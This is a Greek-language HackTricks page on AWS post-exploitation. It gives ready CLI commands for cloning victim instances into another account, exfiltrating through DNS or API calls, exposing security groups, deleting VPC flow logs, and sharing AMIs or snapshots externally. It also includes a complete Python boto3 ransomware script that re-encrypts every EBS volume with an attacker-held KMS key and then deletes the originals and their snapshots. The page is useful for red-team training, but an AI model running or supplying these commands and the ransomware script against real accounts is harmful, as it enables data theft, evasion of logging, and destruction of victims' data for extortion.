AWS - EC2, EBS, SSM & VPC Post Exploitation

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

EC2 & VPC

Για περισσότερες πληροφορίες ελέγξτε:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Κακόβουλος Καθρέπτης VPC - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

Ο καθρέπτης κίνησης VPC διπλασιάζει την εισερχόμενη και εξερχόμενη κίνηση για τις EC2 περιπτώσεις εντός μιας VPC χωρίς την ανάγκη να εγκαταστήσετε οτιδήποτε στις ίδιες τις περιπτώσεις. Αυτή η διπλασιασμένη κίνηση θα μπορούσε συνήθως να σταλεί σε κάτι όπως ένα σύστημα ανίχνευσης διείσδυσης δικτύου (IDS) για ανάλυση και παρακολούθηση. Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό για να καταγράψει όλη την κίνηση και να αποκτήσει ευαίσθητες πληροφορίες από αυτήν:

Για περισσότερες πληροφορίες ελέγξτε αυτήν τη σελίδα:

AWS - Malicious VPC Mirror

Αντιγραφή Εκτελούμενης Περίπτωσης

Οι περιπτώσεις συνήθως περιέχουν κάποιου είδους ευαίσθητες πληροφορίες. Υπάρχουν διάφοροι τρόποι για να μπείτε μέσα (ελέγξτε τα κόλπα ανόδου προνομίων EC2). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να δημιουργήσετε ένα AMI και να εκτελέσετε μια νέα περίπτωση (ακόμα και στον δικό σας λογαριασμό) από αυτό:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Αντιγραφή ασφαλείας

Οι αντιγραφές ασφαλείας (snapshots) είναι αντίγραφα ασφαλείας των όγκων, τα οποία συνήθως περιέχουν ευαίσθητες πληροφορίες, για αυτό η έλεγχός τους μπορεί να αποκαλύψει αυτές τις πληροφορίες. Αν βρείτε έναν όγκο χωρίς αντίγραφο ασφαλείας, μπορείτε: Δημιουργήστε ένα αντίγραφο ασφαλείας και εκτελέστε τις παρακάτω ενέργειες ή απλά τοποθετήστε τον σε ένα παράδειγμα μέσα στον λογαριασμό:

AWS - EBS Snapshot Dump

Εξαγωγή Δεδομένων

Εξαγωγή μέσω DNS

Ακόμα κι αν έχετε περιορίσει ένα EC2 ώστε να μην μπορεί να εξέλθει κίνηση, μπορεί ακόμα να εξάγει δεδομένα μέσω DNS.

  • Τα VPC Flow Logs δεν θα καταγράψουν αυτό.

  • Δεν έχετε πρόσβαση στα αρχεία καταγραφής DNS της AWS.

  • Απενεργοποιήστε αυτό ορίζοντας το "enableDnsSupport" σε false με:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Εξαγωγή μέσω κλήσεων API

Ένας επιτιθέμενος μπορεί να καλέσει τα σημεία πρόσβασης των κλήσεων API ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα δεδομένα που εξάγονται στα αρχεία καταγραφής του Cloudtrail.

Ανοιχτή Ομάδα Ασφαλείας

Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε υπηρεσίες δικτύου ανοίγοντας θύρες όπως αυτές:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Ανέβασμα δικαιωμάτων στο ECS

Είναι δυνατόν να εκτελέσετε μια EC2 περίπτωση και να την καταχωρήσετε για να χρησιμοποιηθεί για την εκτέλεση περιπτώσεων ECS και στη συνέχεια να κλέψετε τα δεδομένα των περιπτώσεων ECS.

Για περισσότερες πληροφορίες ελέγξτε αυτό.

Αφαίρεση καταγραφής ροής VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Κοινοποίηση AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Κοινοποίηση EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Ένα proof of concept παρόμοιο με την επίδειξη του Ransomware που παρουσιάστηκε στις σημειώσεις post-exploitation του S3. Το KMS θα πρέπει να μετονομαστεί σε RMS για Ransomware Management Service, με τον τρόπο που είναι τόσο εύκολο να χρησιμοποιηθεί για την κρυπτογράφηση διάφορων υπηρεσιών του AWS.

Πρώτα, από έναν λογαριασμό AWS 'επιτιθέμενου', δημιουργήστε έναν πελάτη διαχειριζόμενο κλειδί στο KMS. Για αυτό το παράδειγμα, απλά θα αφήσουμε το AWS να διαχειριστεί τα δεδομένα του κλειδιού για εμένα, αλλά σε ένα ρεαλιστικό σενάριο, ένας κακόβουλος δράστης θα κρατούσε τα δεδομένα του κλειδιού εκτός ελέγχου του AWS. Αλλάξτε την πολιτική του κλειδιού για να επιτρέπει σε οποιονδήποτε λογαριασμό AWS Principal να χρησιμοποιεί το κλειδί. Για αυτήν την πολιτική κλειδιού, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει όλη την πρόσβαση ονομάζεται 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Ο κανόνας πολιτικής κλειδιού χρειάζεται τα παρακάτω ενεργοποιημένα για να επιτραπεί η δυνατότητα χρήσης του για την κρυπτογράφηση ενός EBS όγκου:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Τώρα με το δημόσια προσβάσιμο κλειδί που θα χρησιμοποιηθεί. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'θύμα' που έχει μερικά EC2 instances με απροστάτευτους EBS όγκους που είναι συνδεδεμένοι. Οι EBS όγκοι αυτού του λογαριασμού 'θύμα' είναι αυτοί που στοχεύουμε για κρυπτογράφηση, αυτή η επίθεση γίνεται υπό την υπόθεση παραβίασης ενός λογαριασμού AWS με υψηλά προνόμια.

Pasted image 20231231172655
Pasted image 20231231172734

Αποτέλεσμα αυτού είναι να παραμείνουν μόνο κρυπτογραφημένοι EBS όγκοι διαθέσιμοι στον λογαριασμό.

Pasted image 20231231173338

Αξίζει επίσης να σημειωθεί ότι το σενάριο σταμάτησε τα EC2 instances για να αποσυνδέσει και να διαγράψει τους αρχικούς EBS όγκους. Οι αρχικοί μη κρυπτογραφημένοι όγκοι έχουν εξαφανιστεί τώρα.

Pasted image 20231231173931

Στη συνέχεια, επιστρέψτε στην πολιτική κλειδιού στον λογαριασμό 'επιτιθέμενου' και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption' από την πολιτική κλειδιού.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Περιμένετε για να εφαρμοστεί η νέα πολιτική κλειδιού. Στη συνέχεια, επιστρέψτε στον λογαριασμό του "θύματος" και προσπαθήστε να συνδέσετε έναν από τους νεοκρυπτογραφημένους όγκους EBS. Θα διαπιστώσετε ότι μπορείτε να συνδέσετε τον όγκο.

Pasted image 20231231174131
Pasted image 20231231174258

Ωστόσο, όταν προσπαθήσετε να επανεκκινήσετε πραγματικά την EC2 παρουσία με τον κρυπτογραφημένο όγκο EBS, θα αποτύχει και θα παραμείνει στην κατάσταση "εκκρεμής" επιστρέφοντας στην κατάσταση "σταματημένη" για πάντα, καθώς ο επισυναπτόμενος όγκος EBS δεν μπορεί να αποκρυπτογραφηθεί χρησιμοποιώντας το κλειδί, αφού η πολιτική κλειδιού δεν το επιτρέπει πλέον.

Αυτό είναι το πρόγραμμα σε Python που χρησιμοποιήθηκε. Απαιτεί διαπιστευτήρια AWS για έναν λογαριασμό "θύμα" και μια δημόσια διαθέσιμη τιμή AWS ARN για το κλειδί που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το πρόγραμμα θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων όγκων EBS που είναι συνδεδεμένοι με ΟΛΕΣ τις παρουσίες EC2 στον στοχευμένο λογαριασμό AWS, στη συνέχεια θα σταματήσει κάθε παρουσία EC2, θα αποσυνδέσει τους αρχικούς όγκους EBS, θα τους διαγράψει και, τέλος, θα διαγράψει όλα τα αντίγραφα ασφαλείας που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους όγκους EBS στον στοχευμένο λογαριασμό "θύμα". ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ ΠΡΟΓΡΑΜΜΑ ΜΟΝΟ ΣΕ ΈΝΑ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΗΣ, ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΟΥΣ ΤΟΥΣ ΑΡΧΙΚΟΥΣ ΌΓΚΟΥΣ EBS. Μπορείτε να τους ανακτήσετε χρησιμοποιώντας το χρησιμοποιημένο κλειδί KMS και να τους αποκαταστήσετε στην αρχική τους κατάσταση μέσω αντιγράφων ασφαλείας, αλλά θέλω απλά να σας ενημερώσω ότι αυτό είναι ένα PoC ransomware στο τέλος της ημέρας.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated